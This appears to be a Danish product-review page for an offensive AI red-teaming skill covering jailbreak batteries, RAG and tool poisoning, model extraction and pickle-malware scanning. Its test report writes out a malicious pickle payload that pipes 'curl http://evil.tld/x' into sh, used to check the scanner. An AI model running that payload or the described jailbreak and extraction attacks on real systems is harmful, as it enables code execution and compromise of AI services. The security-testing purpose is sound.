SkillProof tested Claude skills

AI Security

Offensiv test af LLM/ML-systemer: prompt injection, RAG poisoning, pickle-model scanning

Af hypnguyen1209 · hypnguyen1209/offensive-claude

Testet · Virker ★ 9.2/10

AI Security — Offensiv test af LLM/ML-systemer: prompt injection, RAG poisoning, pickle-model scanning

Hvad det gør

En offensiv sikkerhedsfærdighed til red-teaming af AI/ML-systemer: prompt-injection og multi-turn jailbreak-batterier, RAG/vector-DB poisoning, MCP/agent tool-poisoning audits, pre-load pickle-model malware scanning og black-box model extraction/membership-inference probes, med OWASP LLM Top-10 og MITRE ATLAS-mappinger. Udløses, når en bruger beder om at angribe, red-teame eller auditere en LLM, chatbot, RAG pipeline, MCP-server eller en downloadet model-artefakt. Leveres med fem kørbare Python-scripts plus fem reference-dybdegående analyser knyttet til specifikke 2024-2025 CVE'er.

Testrapport

Hentede skills/ai-security/SKILL.md og stikprøvekontrollerede 3 medfølgende filer (promptinject_harness.py, rag_poisoner.py, prompt-injection-jailbreak.md) — alle HTTP 200. For OUTPUT kørte jeg færdighedens stdlib-only scripts/model_scan.py mod pickles, jeg havde lavet: en ondsindet med __reduce__ -> os.system("curl http://evil.tld/x | sh"), en godartet, og en godartet, hvis data blot indeholdt strengene "operating_system"/"subprocess". Baseline (naiv byte-grep) markerede den ondsindede fil, men FALSE-POSITIVEDE også den godartede label-list-fil. Færdigheden demonterede pickle-opkoder via pickletools, løste posix.system gennem REDUCE-reachability som en deny-listed callable (struktureret JSONL: severity high, CWE-502, AML.T0011, exit code 2 som en CI-gate), og ryddede korrekt begge godartede filer. Verificeret installation i en ren mktemp HOME placerer SKILL.md på ~/.claude/skills/ai-security/SKILL.md.

Testet: 2026-07-31 · Claude Code 2.x (agent harness)

Installation

git clone --depth 1 https://github.com/hypnguyen1209/offensive-claude.git /tmp/ai-security-src
mkdir -p ~/.claude/skills
cp -R /tmp/ai-security-src/skills/ai-security ~/.claude/skills/ai-security
# Verifies at ~/.claude/skills/ai-security/SKILL.md (bundles references/ + scripts/).
# Script deps vary: model_scan.py is stdlib-only; rag_poisoner.py needs sentence-transformers;
#   promptinject_harness.py + model_extractor.py need `pip install requests` and a live target endpoint.
# Repo-level plugin alternative (registers a SessionStart dispatcher hook — not needed for this skill alone):
#   /plugin marketplace add hypnguyen1209/offensive-claude
#   /plugin install offensive-claude@offensive-claude-marketplace
# NOTE: the README also offers `curl -sL .../install.sh | bash` — a curl|sh pipe; the manual cp above avoids it.

Kommandoer og eksempelprompter

  • /ai-securityOffensiv test af LLM/ML-systemer: prompt injection, RAG poisoning, pickle-model scanning

Skills udløses af almindelige forespørgsler — ingen kommandoer at huske. Efter installationen aktiverer prompter som disse skillen (på engelsk):

  • Test this model against known jailbreak techniques
  • Check this RAG pipeline for vector poisoning
  • Run a model extraction attack against this API

Læs hele rapporten →